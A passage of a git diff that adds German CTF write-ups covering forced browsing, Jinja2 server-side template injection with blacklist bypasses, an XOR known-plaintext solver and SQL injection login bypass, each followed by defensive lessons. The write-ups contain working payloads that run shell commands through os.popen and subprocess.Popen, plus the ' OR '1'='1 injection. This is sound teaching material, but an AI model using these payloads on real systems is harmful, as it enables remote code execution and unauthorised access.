Lade `exploit.bmp` auf den Glitchify-Server hoch, und das Flag wird auf deinem Bildschirm erscheinen!
|
||||||
|
|
||||||
|
Stay glitchy!
|
||||||
53
de/hidden_flag.md
Normal file
53
de/hidden_flag.md
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
# Hidden Flag
|
||||||
|
|
||||||
|
Willkommen zum Write-up für **Hidden Flag**. Dies ist eine "Web"-Challenge, die sich auf **Information Disclosure** (Informationspreisgabe) und **Predictable Resource Location** (Vorhersehbare Ressourcenpfade) konzentriert.
|
||||||
|
|
||||||
|
In dieser Challenge ist es unsere Aufgabe, eine Datei namens `flag.txt` zu finden und herunterzuladen, die irgendwo auf der CTF-Plattform versteckt ist.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Erste Erkundung
|
||||||
|
|
||||||
|
Die Challenge-Beschreibung gibt uns ein sehr einfaches Ziel:
|
||||||
|
> "Kannst du die versteckte flag.txt Datei auf dieser Seite herunterladen?"
|
||||||
|
|
||||||
|
Im Gegensatz zu vielen anderen Challenges erhalten wir keinen direkten Link oder ein Quellcode-Archiv. Wir müssen die CTF-Plattform selbst nach Hinweisen durchsuchen, wo Dateien gespeichert sind.
|
||||||
|
|
||||||
|
## 2. Analyse der Plattform
|
||||||
|
|
||||||
|
Wenn wir uns andere Challenges auf der Plattform ansehen (wie **SmashMe**), stellen wir fest, dass sie herunterladbare Dateien bereitstellen. Wenn wir die Download-Links für diese Challenges untersuchen, sehen wir ein Muster in den URLs:
|
||||||
|
|
||||||
|
`https://ctf.hackimpott.de/files/1769295971401-smashMe_.tar.xz`
|
||||||
|
|
||||||
|
Die Plattform scheint alle challenge-bezogenen Dateien in einem öffentlichen Verzeichnis unter `/files/` zu speichern.
|
||||||
|
|
||||||
|
## 3. Die Schwachstelle: Vorhersehbare Ressourcenpfade
|
||||||
|
|
||||||
|
Die Schwachstelle hier ist, dass der Server sensible Dateien (wie die Flagge) im selben Verzeichnis wie öffentliche Assets speichert und dieses Verzeichnis direkt für Benutzer zugänglich ist. Während die anderen Dateinamen zufällig aussehen mögen (z.B. `1769295971401-...`), wissen wir aus der Beschreibung, dass die Datei, die wir suchen, genau `flag.txt` heißt.
|
||||||
|
|
||||||
|
Wenn der Server keine ordnungsgemäßen Zugriffskontrollen für dieses Verzeichnis hat, können wir den Pfad zur Datei einfach erraten.
|
||||||
|
|
||||||
|
## 4. Ausnutzung
|
||||||
|
|
||||||
|
Um die Challenge zu lösen, nehmen wir eine bekannte funktionierende Datei-URL und ersetzen den Dateinamen durch unser Ziel:
|
||||||
|
|
||||||
|
1. **Original-URL:** `https://ctf.hackimpott.de/files/1769295971401-smashMe_.tar.xz`
|
||||||
|
2. **Modifizierte URL:** `https://ctf.hackimpott.de/files/flag.txt`
|
||||||
|
|
||||||
|
Indem wir in unserem Browser zur modifizierten URL navigieren (oder `curl` verwenden), erlaubt uns der Server, die Datei herunterzuladen, wodurch ihr Inhalt enthüllt wird.
|
||||||
|
|
||||||
|
## 5. Die Lösung
|
||||||
|
|
||||||
|
Das Öffnen der heruntergeladenen `flag.txt` enthüllt die Flagge:
|
||||||
|
|
||||||
|
**Flag:** `{flag: well_done_little_pwnie_:)}`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Gelernte Lektionen
|
||||||
|
|
||||||
|
Diese Challenge zeigt, warum es wichtig ist, statische Dateiverzeichnisse ordnungsgemäß zu sichern.
|
||||||
|
* **Zugriffskontrolle:** Dateien, die nicht öffentlich sein sollen, sollten niemals in einem öffentlich zugänglichen Verzeichnis gespeichert werden.
|
||||||
|
* **Obfuscation ist keine Sicherheit:** Selbst wenn Sie lange, zufällige Dateinamen für einige Dateien verwenden, schützt dies andere Dateien im selben Verzeichnis nicht, wenn deren Namen vorhersehbar sind (wie `flag.txt`, `config.php` oder `backup.zip`).
|
||||||
|
|
||||||
|
Viel Spaß beim Jagen!
|
||||||
108
de/render_me_this.md
Normal file
108
de/render_me_this.md
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
# Render Me This
|
||||||
|
|
||||||
|
Willkommen zum Write-up für **Render Me This**. Diese Challenge fällt in die Kategorie "Web" und demonstriert eine schwerwiegende Schwachstelle in modernen Web-Frameworks, bekannt als **Server-Side Template Injection (SSTI)**.
|
||||||
|
|
||||||
|
Uns wird eine "Profile Viewer"-Anwendung präsentiert, die den Namen eines Benutzers entgegennimmt und eine benutzerdefinierte Begrüßung rendert. Unser Ziel ist es, die Rendering-Engine auszunutzen, um die Flagge vom Server zu lesen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Erste Erkundung
|
||||||
|
|
||||||
|
Die Challenge stellt uns eine URL und den Quellcode zur Verfügung. Wenn wir die Seite besuchen, sehen wir eine einfache Seite, die "Guest" begrüßt.
|
||||||
|
|
||||||
|
Die URL sieht wahrscheinlich so aus:
|
||||||
|
`http://challenge-url/?name=Guest`
|
||||||
|
|
||||||
|
Wenn wir den Parameter `name` zu `Test` ändern, aktualisiert sich die Seite zu "Hello, Test!". Dies bestätigt, dass unsere Eingabe auf der Seite reflektiert wird.
|
||||||
|
|
||||||
|
## 2. Quellcode-Analyse
|
||||||
|
|
||||||
|
Untersuchen wir die bereitgestellte `app.py`, um zu verstehen, wie die Seite generiert wird.
|
||||||
|
|
||||||
|
```python
|
||||||
|
@app.route('/')
|
||||||
|
def index():
|
||||||
|
# Get the 'name' parameter
|
||||||
|
name = request.args.get('name', 'Guest')
|
||||||
|
|
||||||
|
# 1. Check for Blacklisted words
|
||||||
|
for bad_word in BLACKLIST:
|
||||||
|
if bad_word in name.lower():
|
||||||
|
return "Hacker detected! ..."
|
||||||
|
|
||||||
|
# 2. Vulnerable Template Construction
|
||||||
|
template = f'''
|
||||||
|
...
|
||||||
|
<h1>Hello, {name}!</h1>
|
||||||
|
...
|
||||||
|
'''
|
||||||
|
|
||||||
|
# Render the template
|
||||||
|
return render_template_string(template)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Die Schwachstelle: SSTI
|
||||||
|
Der kritische Fehler liegt darin, wie der `template`-String konstruiert wird. Der Entwickler verwendet einen Python f-String (`f'''... {name} ...'''`), um die Benutzereingabe *direkt in den Template-Quellcode* einzufügen, bevor er ihn an `render_template_string` übergibt.
|
||||||
|
|
||||||
|
In Flask (Jinja2) wird `{{ ... }}` verwendet, um Code innerhalb eines Templates auszuführen. Durch Injizieren von `{{ 7*7 }}` können wir den Server bitten, 7*7 zu berechnen. Wenn die Seite "49" anzeigt, haben wir Codeausführung.
|
||||||
|
|
||||||
|
### Das Hindernis: Die Blacklist
|
||||||
|
Die Anwendung versucht, sich mit einer Blacklist zu sichern:
|
||||||
|
`BLACKLIST = ["config", "self", "flag"]`
|
||||||
|
|
||||||
|
Das bedeutet, wir können nicht die Standard-SSTI-Payloads wie `{{ config }}` oder `{{ self.__dict__ }}` verwenden. Wir können auch nicht einfach `cat flag.txt` ausführen, weil das Wort "flag" verboten ist.
|
||||||
|
|
||||||
|
## 3. Entwicklung des Exploits
|
||||||
|
|
||||||
|
Wir müssen einen Weg finden, auf das Python `os`-Modul zuzugreifen, um Systembefehle auszuführen, ohne die gesperrten Wörter zu verwenden.
|
||||||
|
|
||||||
|
In Python-Web-Frameworks wie Flask ist das `request`-Objekt oft im Template-Kontext verfügbar. Über `request` können wir die Python-Objekthierarchie durchlaufen, um den globalen Geltungsbereich zu erreichen und Module zu importieren.
|
||||||
|
|
||||||
|
**Schritt 1: Zugriff auf Built-ins**
|
||||||
|
Wir können das `request`-Objekt verwenden, um auf den globalen Geltungsbereich zuzugreifen:
|
||||||
|
`request.application.__globals__`
|
||||||
|
|
||||||
|
Von dort aus können wir auf die eingebauten Funktionen von Python zugreifen:
|
||||||
|
`request.application.__globals__.__builtins__`
|
||||||
|
|
||||||
|
**Schritt 2: Importieren von OS**
|
||||||
|
Jetzt können wir die `__import__`-Funktion verwenden, um das `os`-Modul zu laden:
|
||||||
|
`request.application.__globals__.__builtins__.__import__('os')`
|
||||||
|
|
||||||
|
**Schritt 3: Ausführen von Befehlen**
|
||||||
|
Mit dem `os`-Modul können wir `popen` verwenden, um Shell-Befehle auszuführen, und `read`, um die Ausgabe zu erhalten:
|
||||||
|
`.popen('ls').read()`
|
||||||
|
|
||||||
|
**Schritt 4: Umgehung des "flag"-Filters**
|
||||||
|
Wenn wir versuchen, `cat flag.txt` auszuführen, blockiert uns die Anwendung, weil es "flag" enthält.
|
||||||
|
Wir können dies mit Shell-Wildcards umgehen. Statt `flag.txt` können wir `fl*` sagen.
|
||||||
|
`cat fl*` passt auf `flag.txt`, enthält aber nicht den verbotenen String "flag".
|
||||||
|
|
||||||
|
## 4. Der finale Payload
|
||||||
|
|
||||||
|
Alles zusammen sieht unser Payload so aus:
|
||||||
|
|
||||||
|
`{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}`
|
||||||
|
|
||||||
|
Wir müssen diesen Payload URL-kodieren, bevor wir ihn an den Server senden.
|
||||||
|
|
||||||
|
**Kodierte URL:**
|
||||||
|
`?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D`
|
||||||
|
|
||||||
|
## 5. Die Lösung
|
||||||
|
|
||||||
|
Das Senden des Payloads an den Server führt den Befehl aus, liest die Flaggen-Datei und rendert das Ergebnis auf der Seite.
|
||||||
|
|
||||||
|
**Flag:** `{flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Gelernte Lektionen
|
||||||
|
|
||||||
|
* **Kontext ist wichtig:** Verketten Sie niemals Benutzereingaben direkt in einen Template-String.
|
||||||
|
* **Verwenden Sie das Framework korrekt:** Übergeben Sie Daten immer als Kontextvariablen an die Render-Funktion.
|
||||||
|
* *Verwundbar:* `render_template_string(f"Hello {name}")`
|
||||||
|
* *Sicher:* `render_template_string("Hello {{ name }}", name=user_input)`
|
||||||
|
* **Blacklists versagen:** Der Versuch, bestimmte Wörter ("flag", "config") zu blockieren, ist selten effektiv. Hacker können fast immer einen Weg finden, sie zu umgehen (z.B. String-Verkettung, Kodierung, Wildcards).
|
||||||
|
|
||||||
|
Frohes Hacken!
|
||||||
108
de/render_me_this_one_more_time.md
Normal file
108
de/render_me_this_one_more_time.md
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
# Render Me This (One More Time)
|
||||||
|
|
||||||
|
Willkommen zum Write-up für **Render Me This (One More Time)**. Dies ist die Fortsetzung der vorherigen SSTI-Challenge, mit "verbesserten" Sicherheitsfiltern.
|
||||||
|
|
||||||
|
Wir haben erneut die Aufgabe, eine **Server-Side Template Injection (SSTI)** Schwachstelle auszunutzen, um die Flagge zu lesen, aber dieses Mal müssen wir eine strenge Blacklist umgehen, die die meisten Standard-Angriffsvektoren blockiert.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Erste Erkundung
|
||||||
|
|
||||||
|
Die Challenge ist identisch mit der vorherigen, aber mit einer neuen Beschreibung:
|
||||||
|
> "Wir haben unsere Sicherheitsfilter aktualisiert. Wir haben erkannt, dass es eine schlechte Idee war, Leute Dinge importieren zu lassen, also haben wir alle gefährlichen Schlüsselwörter verbannt."
|
||||||
|
|
||||||
|
Dies impliziert, dass unser vorheriger Payload (der `import`, `os` und `popen` verwendete) blockiert wird.
|
||||||
|
|
||||||
|
## 2. Quellcode-Analyse
|
||||||
|
|
||||||
|
Untersuchen wir die neue `app.py`, um die Einschränkungen zu sehen:
|
||||||
|
|
||||||
|
```python
|
||||||
|
BLACKLIST = [
|
||||||
|
"import", "os", "system", "popen", "flag", "config", "eval", "exec",
|
||||||
|
"request", "url_for", "self", "g", "process",
|
||||||
|
"+", "~", "%", "format", "join", "chr", "ascii"
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
Dies ist eine **heftige** Blacklist.
|
||||||
|
* **Keine globalen Objekte:** Wir können `request`, `url_for` oder `self` nicht verwenden, um auf den globalen Geltungsbereich (`__globals__`) zuzugreifen.
|
||||||
|
* **Keine String-Konstruktion:** Wir können `+` oder `join` nicht verwenden, um Keyword-Filter zu umgehen (z.B. `'o'+'s'` wird blockiert).
|
||||||
|
* **Keine Formatierung:** Wir können keine String-Formatierungstricks verwenden.
|
||||||
|
|
||||||
|
Dies zwingt uns, einen Weg zu finden, Code auszuführen, indem wir nur die Objekte verwenden, die bereits im Template-Kontext verfügbar sind (wie Strings `""` oder Listen `[]`), und deren Vererbungshierarchie durchlaufen.
|
||||||
|
|
||||||
|
## 3. Die Schwachstelle: MRO Traversal
|
||||||
|
|
||||||
|
In Python hat jedes Objekt eine Method Resolution Order (MRO), die die Klassenhierarchie definiert. Wir können dies zu unserem Vorteil nutzen, um auf mächtige Klassen zuzugreifen, ohne etwas importieren zu müssen.
|
||||||
|
|
||||||
|
### Schritt 1: Zugriff auf das Basisobjekt
|
||||||
|
Wir beginnen mit einer einfachen leeren Liste `[]`. In Python ist `[]` eine Instanz der Klasse `list`.
|
||||||
|
`{{ [].__class__ }}` --> `<class 'list'>`
|
||||||
|
|
||||||
|
Von der `list`-Klasse können wir eine Ebene höher zu ihrer Elternklasse gehen, welche `object` ist.
|
||||||
|
`{{ [].__class__.__base__ }}` --> `<class 'object'>`
|
||||||
|
|
||||||
|
### Schritt 2: Auflisten aller Unterklassen
|
||||||
|
Die `object`-Klasse ist die Wurzel aller Klassen in Python. Entscheidend ist, dass sie eine Methode namens `__subclasses__()` hat, die eine Liste **aller einzelnen Klassen** zurückgibt, die derzeit in der Anwendung geladen sind.
|
||||||
|
|
||||||
|
`{{ [].__class__.__base__.__subclasses__() }}`
|
||||||
|
|
||||||
|
Wenn Sie diesen Payload in die URL injizieren (`?name={{[].__class__.__base__.__subclasses__()}}`), zeigt die Seite eine riesige Liste von Klassen an wie:
|
||||||
|
`[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ... <class 'subprocess.Popen'>, ...]`
|
||||||
|
|
||||||
|
### Schritt 3: Finden von `subprocess.Popen`
|
||||||
|
Wir müssen den Index der Klasse `subprocess.Popen` in dieser Liste finden. Diese Klasse ermöglicht es uns, neue Prozesse zu starten und Systembefehle auszuführen.
|
||||||
|
|
||||||
|
Sie können die Ausgabe von der Webseite in einen Texteditor kopieren und nach "subprocess.Popen" suchen. Alternativ können Sie ein kleines Skript schreiben, um den Index lokal zu finden (wenn Sie dieselbe Umgebung haben).
|
||||||
|
In dieser spezifischen Challenge-Umgebung befindet sich `subprocess.Popen` am Index **361**.
|
||||||
|
|
||||||
|
(Hinweis: Wenn 361 nicht funktioniert, müssen Sie möglicherweise umliegende Zahlen wie 360 oder 362 ausprobieren, da der Index je nach Python-Version und installierten Bibliotheken leicht variieren kann).
|
||||||
|
|
||||||
|
### Schritt 4: Instanziierung von Popen
|
||||||
|
Jetzt, da wir die Klasse haben (bei Index 361), können wir sie instanziieren, genau wie beim Aufruf einer Funktion. Wir wollen einen Shell-Befehl ausführen.
|
||||||
|
|
||||||
|
Der `Popen`-Konstruktor nimmt einen Befehl als Liste oder String entgegen. Wir müssen auch `shell=True` setzen, um Shell-Befehle auszuführen, und `stdout=-1`, um die Ausgabe zu erfassen.
|
||||||
|
|
||||||
|
`...[361]('command', shell=True, stdout=-1)`
|
||||||
|
|
||||||
|
### Schritt 5: Umgehung des "flag"-Filters
|
||||||
|
Wir wollen `cat flag.txt` ausführen. Das Wort "flag" steht jedoch auf der `BLACKLIST`.
|
||||||
|
Wir können dies leicht mit einem Shell-Wildcard umgehen: `cat fl*`.
|
||||||
|
Die Shell wird `fl*` automatisch zu `flag.txt` erweitern.
|
||||||
|
|
||||||
|
Unser Befehl lautet also: `'cat fl*'`
|
||||||
|
|
||||||
|
### Schritt 6: Lesen der Ausgabe
|
||||||
|
Das `Popen`-Objekt erstellt einen Prozess, gibt aber die Ausgabe nicht direkt zurück. Wir müssen die Methode `.communicate()` auf dem erstellten Prozessobjekt aufrufen. Diese Methode wartet darauf, dass der Befehl beendet ist, und gibt ein Tupel zurück, das `(stdout, stderr)` enthält.
|
||||||
|
|
||||||
|
## 4. Der finale Payload
|
||||||
|
|
||||||
|
Wenn wir alles zusammenfügen, konstruieren wir die vollständige Injection:
|
||||||
|
|
||||||
|
1. Beginne mit einer Liste: `[]`
|
||||||
|
2. Hole die `object`-Klasse: `.__class__.__base__`
|
||||||
|
3. Hole alle Unterklassen: `.__subclasses__()`
|
||||||
|
4. Wähle `subprocess.Popen`: `[361]`
|
||||||
|
5. Instanziiere mit Befehl: `('cat fl*', shell=True, stdout=-1)`
|
||||||
|
6. Hole Ausgabe: `.communicate()`
|
||||||
|
|
||||||
|
**Finaler Payload:**
|
||||||
|
`{{ [].__class__.__base__.__subclasses__()[361]('cat fl*', shell=True, stdout=-1).communicate() }}`
|
||||||
|
|
||||||
|
**Kodierte URL:**
|
||||||
|
`?name={{[].__class__.__base__.__subclasses__()[361]('cat%20fl*',shell=True,stdout=-1).communicate()}}`
|
||||||
|
|
||||||
|
## 5. Die Lösung
|
||||||
|
|
||||||
|
Senden Sie die kodierte URL an den Server. Die Seite rendert die Ausgabe des Befehls und enthüllt die Flagge.
|
||||||
|
|
||||||
|
**Flag:** `{flag:MRO_Trav3rsal_Is_The_Way_To_Go}`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Gelernte Lektionen
|
||||||
|
|
||||||
|
* **Blacklisting ist zwecklos:** Selbst mit strengen Filtern, die globale Objekte und String-Manipulation blockieren, ermöglicht die grundlegende Natur des Python-Objektmodells die Codeausführung via MRO Traversal.
|
||||||
|
* **Sandboxing ist schwer:** Wenn Sie von Benutzern eingereichten Code/Templates zulassen müssen, benötigen Sie eine robuste Sandbox (wie das Entfernen von `__subclasses__` oder die Verwendung einer sicheren Template-Engine wie Jinja2s `SandboxedEnvironment`), nicht nur einen Wortfilter.
|
||||||
|
* **Least Privilege:** Stellen Sie sicher, dass die Webanwendung mit minimalen Berechtigungen läuft, damit der Schaden begrenzt bleibt, selbst wenn eine Codeausführung erreicht wird.
|
||||||
100
de/reversible_logic.md
Normal file
100
de/reversible_logic.md
Normal file
@@ -0,0 +1,100 @@
|
|||||||
|
# Reversible Logic
|
||||||
|
|
||||||
|
`Reversible Logic` ist eine Kryptographie-Challenge, die auf den Eigenschaften der XOR-Operation basiert. Uns wird ein Dienst bereitgestellt, der unsere Eingabe mit einer versteckten Flagge als Schlüssel verschlüsselt.
|
||||||
|
|
||||||
|
## Informationsbeschaffung
|
||||||
|
|
||||||
|
Wir verbinden uns mit dem Challenge-Dienst und werden mit einer Eingabeaufforderung begrüßt:
|
||||||
|
|
||||||
|
```
|
||||||
|
--- Secure XOR Encryption Service ---
|
||||||
|
Enter a message to encrypt:
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Beschreibung besagt: "Dieses Programm implementiert eine einfache XOR-Chiffre unter Verwendung einer versteckten Flagge als Schlüssel."
|
||||||
|
|
||||||
|
Testen wir es, indem wir eine einfache Eingabe wie "AAAA" senden:
|
||||||
|
|
||||||
|
```
|
||||||
|
Enter a message to encrypt: AAAA
|
||||||
|
|
||||||
|
Encrypted Result (Hex): 3a272d20
|
||||||
|
```
|
||||||
|
|
||||||
|
## Schwachstellenanalyse
|
||||||
|
|
||||||
|
Der Dienst implementiert eine Standard-XOR-Chiffre, wobei:
|
||||||
|
$$Chiffretext = Klartext \oplus Schlüssel$$
|
||||||
|
|
||||||
|
Wir kontrollieren den **Klartext** (unsere Eingabe) und erhalten den **Chiffretext** (die Hex-Ausgabe). Der **Schlüssel** ist die versteckte Flagge, die wir wiederherstellen wollen.
|
||||||
|
|
||||||
|
Eine fundamentale Eigenschaft der XOR-Operation ist, dass sie ihre eigene Umkehrung ist (reversibel):
|
||||||
|
$$A \oplus B = C \implies C \oplus B = A$$
|
||||||
|
|
||||||
|
Daher können wir den Schlüssel wiederherstellen, indem wir den Chiffretext mit unserem bekannten Klartext XORen:
|
||||||
|
$$Schlüssel = Chiffretext \oplus Klartext$$
|
||||||
|
|
||||||
|
Um die vollständige Flagge wiederherzustellen, müssen wir nur einen Klartext senden, der mindestens so lang wie die Flagge ist. Da wir die genaue Länge nicht kennen, stellt das Senden eines langen Strings (z.B. 100 Zeichen) sicher, dass wir sie vollständig abdecken.
|
||||||
|
|
||||||
|
## Lösung
|
||||||
|
|
||||||
|
Wir können diesen Prozess mit einem Python-Skript automatisieren:
|
||||||
|
1. Verbinde mit dem Server.
|
||||||
|
2. Sende einen langen String bekannter Zeichen (z.B. 100 'A's).
|
||||||
|
3. Empfange den hex-kodierten Chiffretext.
|
||||||
|
4. Dekodiere das Hex und XOR es mit unserem String von 'A's, um die Flagge zu enthüllen.
|
||||||
|
|
||||||
|
### Solver-Skript
|
||||||
|
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
# Log-Level setzen, damit wir die "Opening connection" Nachrichten sehen
|
||||||
|
context.log_level = 'info'
|
||||||
|
|
||||||
|
def main():
|
||||||
|
# 1. Verbinde mit der Challenge-Instanz
|
||||||
|
# (Passt zur IP/Port aus deiner vorherigen Nachricht)
|
||||||
|
io = remote('127.0.0.1', 1315)
|
||||||
|
|
||||||
|
# 2. Behandle die Server-Prompts
|
||||||
|
# Wir lesen, bis der Server nach Eingabe fragt
|
||||||
|
io.recvuntil(b"Enter a message to encrypt: ")
|
||||||
|
|
||||||
|
# 3. Sende unseren "Bekannten Klartext"
|
||||||
|
# Wir senden einen langen String von 'A's (0x41), um sicherzustellen, dass wir die volle Flagge erfassen.
|
||||||
|
# Wenn die Flagge länger als 100 Zeichen ist, erhöhe einfach diese Zahl.
|
||||||
|
plaintext = b"A" * 100
|
||||||
|
io.sendline(plaintext)
|
||||||
|
|
||||||
|
# 4. Empfange die Antwort
|
||||||
|
io.recvuntil(b"Encrypted Result (Hex): ")
|
||||||
|
|
||||||
|
# Lies die Hex-String-Zeile und entferne Whitespace/Newlines
|
||||||
|
hex_output = io.recvline().strip().decode()
|
||||||
|
|
||||||
|
log.info(f"Received Hex Ciphertext: {hex_output}")
|
||||||
|
|
||||||
|
# 5. Dekodiere das Hex
|
||||||
|
cipher_bytes = bytes.fromhex(hex_output)
|
||||||
|
|
||||||
|
# 6. XOR zur Wiederherstellung des Schlüssels
|
||||||
|
# pwntools hat eine eingebaute xor() Funktion, die sehr robust ist.
|
||||||
|
# Logik: Key = Cipher ^ Plaintext
|
||||||
|
recovered_key = xor(cipher_bytes, plaintext)
|
||||||
|
|
||||||
|
# 7. Ausgabe der Flagge
|
||||||
|
# Wir verwenden 'errors=ignore' nur für den Fall seltsamer Bytes,
|
||||||
|
# aber für eine Text-Flagge sollte es sauber sein.
|
||||||
|
log.success(f"Recovered Flag: {recovered_key.decode('utf-8', errors='ignore')}")
|
||||||
|
|
||||||
|
io.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
### Ausführung
|
||||||
|
|
||||||
|
Das manuelle Ausführen der Logik oder via Skript enthüllt die Flagge.
|
||||||
|
`{flag: xor_logic_is_reversible_123}`
|
||||||
111
de/selective_security.md
Normal file
111
de/selective_security.md
Normal file
@@ -0,0 +1,111 @@
|
|||||||
|
# Selective Security
|
||||||
|
|
||||||
|
Willkommen zum Write-up für **Selective Security**. Dies ist eine einführende "Web" (Web Exploitation) Challenge, die eine der kritischsten und am weitesten verbreiteten Schwachstellen in der Geschichte von Webanwendungen demonstriert: **SQL Injection (SQLi)**.
|
||||||
|
|
||||||
|
In dieser Challenge wird uns ein scheinbar sicheres Login-Portal präsentiert, das "Standard"-Benutzer von "Administratoren" trennt. Unsere Mission ist es, den Authentifizierungsmechanismus zu umgehen und Zugriff auf das eingeschränkte Admin-Dashboard zu erhalten, um die Flagge abzurufen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Erste Erkundung
|
||||||
|
|
||||||
|
Die Challenge stellt uns einen Link zu einem "Internen Blog-Portal" und ein herunterladbares Archiv zur Verfügung: `selective_security.tar.xz`.
|
||||||
|
|
||||||
|
Wenn wir das Portal besuchen, werden wir von einem Login-Formular begrüßt. Wir können versuchen, uns mit zufälligen Anmeldeinformationen (z.B. `guest`/`guest`) anzumelden, was uns Zugriff als "Standardbenutzer" gewährt. Wir sehen einen einfachen Blog-Feed, aber keine Flagge. Die Challenge-Beschreibung sagt uns, dass die "tatsächlichen administrativen Funktionen durch eine strenge Datenbanküberprüfung geschützt sind". Um die Flagge zu erhalten, müssen wir uns als **admin**-Benutzer anmelden.
|
||||||
|
|
||||||
|
## 2. Quellcode-Analyse
|
||||||
|
|
||||||
|
Da wir den Quellcode in `selective_security.tar.xz` erhalten haben, können wir genau sehen, wie der Server unseren Anmeldeversuch behandelt. Nach dem Entpacken des Archivs finden wir eine einzelne Datei: `main.go`.
|
||||||
|
|
||||||
|
Wenn wir uns die `loginHandler`-Funktion ansehen, sehen wir, wie die Anwendung zwischen Benutzern unterscheidet:
|
||||||
|
|
||||||
|
```go
|
||||||
|
func loginHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
// ...
|
||||||
|
username := r.FormValue("username")
|
||||||
|
password := r.FormValue("password")
|
||||||
|
|
||||||
|
if username == "admin" {
|
||||||
|
handleAdminLogin(w, password)
|
||||||
|
} else {
|
||||||
|
// Standardbenutzer erhalten das fakeUserTmpl (keine Flagge)
|
||||||
|
data := map[string]string{"Username": username}
|
||||||
|
renderTemplate(w, fakeUserTmpl, data)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Wenn wir den Benutzernamen `admin` angeben, ruft die Anwendung `handleAdminLogin` auf. Hier findet die "strenge Datenbanküberprüfung" statt:
|
||||||
|
|
||||||
|
```go
|
||||||
|
func handleAdminLogin(w http.ResponseWriter, password string) {
|
||||||
|
// Query erstellen
|
||||||
|
query := fmt.Sprintf("SELECT id FROM users WHERE username = 'admin' AND password = '%s'", password)
|
||||||
|
log.Println("Executing Query:", query)
|
||||||
|
|
||||||
|
var id int
|
||||||
|
err := db.QueryRow(query).Scan(&id)
|
||||||
|
|
||||||
|
if err == nil {
|
||||||
|
// ERFOLG: Die Datenbank hat einen passenden Datensatz gefunden!
|
||||||
|
data := map[string]string{"Flag": globalFlag}
|
||||||
|
renderTemplate(w, successTmpl, data)
|
||||||
|
} else {
|
||||||
|
// ... Fehlerbehandlung ...
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. Die Schwachstelle: SQL Injection
|
||||||
|
|
||||||
|
Die Schwachstelle liegt darin, wie die SQL-Abfrage konstruiert wird. Die Anwendung verwendet `fmt.Sprintf`, um unser `password` direkt in den Abfrage-String einzufügen:
|
||||||
|
|
||||||
|
`"SELECT id FROM users WHERE username = 'admin' AND password = '%s'"`
|
||||||
|
|
||||||
|
Dies ist eine klassische **SQL Injection** Schwachstelle. Da die Anwendung keine **parametrisierten Abfragen** (Platzhalter wie `?`) verwendet, behandelt sie unsere Eingabe als Teil des SQL-Befehls selbst und nicht nur als Daten.
|
||||||
|
|
||||||
|
## 4. Entwicklung des Exploits
|
||||||
|
|
||||||
|
Wir kennen das Passwort des Admins nicht, aber wir können SQL-Syntax verwenden, um die Logik der `WHERE`-Klausel zu ändern. Unser Ziel ist es, die gesamte Bedingung zu **WAHR** auszuwerten, damit die Datenbank ein Ergebnis zurückgibt.
|
||||||
|
|
||||||
|
Wenn wir den folgenden Payload als Passwort eingeben:
|
||||||
|
`' OR '1'='1`
|
||||||
|
|
||||||
|
Die endgültige von der Datenbank ausgeführte Abfrage wird zu:
|
||||||
|
```sql
|
||||||
|
SELECT id FROM users WHERE username = 'admin' AND password = '' OR '1'='1'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Aufschlüsselung der Logik:
|
||||||
|
1. `username = 'admin' AND password = ''`: Dieser Teil wird zuerst ausgewertet (aufgrund der Operator-Rangfolge) und ist wahrscheinlich **Falsch**.
|
||||||
|
2. `OR '1'='1'`: Dieser Teil ist immer **Wahr**.
|
||||||
|
3. `Falsch ODER Wahr` ergibt **Wahr**.
|
||||||
|
|
||||||
|
Die Datenbank ignoriert die falsche Passwortprüfung und gibt die ID des Admins zurück. Der Go-Code sieht, dass eine Zeile zurückgegeben wurde (`err == nil`) und gewährt uns Zugriff auf das Dashboard.
|
||||||
|
|
||||||
|
## 5. Ausnutzung
|
||||||
|
|
||||||
|
1. Navigieren Sie zur Login-Seite.
|
||||||
|
2. Benutzername eingeben: `admin`
|
||||||
|
3. Passwort eingeben: `' OR '1'='1`
|
||||||
|
4. Klicken Sie auf **Login**.
|
||||||
|
|
||||||
|
Die Seite "Administrator Access Granted" erscheint und zeigt die Flagge an.
|
||||||
|
|
||||||
|
**Flag:** `{flag:Sql_Inj3ct10n_Is_Ez_Pz_Read_From_File}`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Gelernte Lektionen
|
||||||
|
|
||||||
|
Diese Challenge hebt hervor, warum Sie **niemals** Benutzereingaben vertrauen sollten, wenn Sie Datenbankabfragen erstellen. Selbst eine einzige Schwachstelle wie diese kann einem Angreifer vollen Zugriff auf sensible Daten oder administrative Konten gewähren.
|
||||||
|
|
||||||
|
Um dies zu verhindern, verwenden Sie immer **parametrisierte Abfragen** (auch bekannt als Prepared Statements). In Go wäre der sichere Weg, diese Abfrage zu schreiben:
|
||||||
|
|
||||||
|
```go
|
||||||
|
// SICHERE VERSION
|
||||||
|
db.QueryRow("SELECT id FROM users WHERE username = 'admin' AND password = ?", password)
|
||||||
|
```
|
||||||
|
|
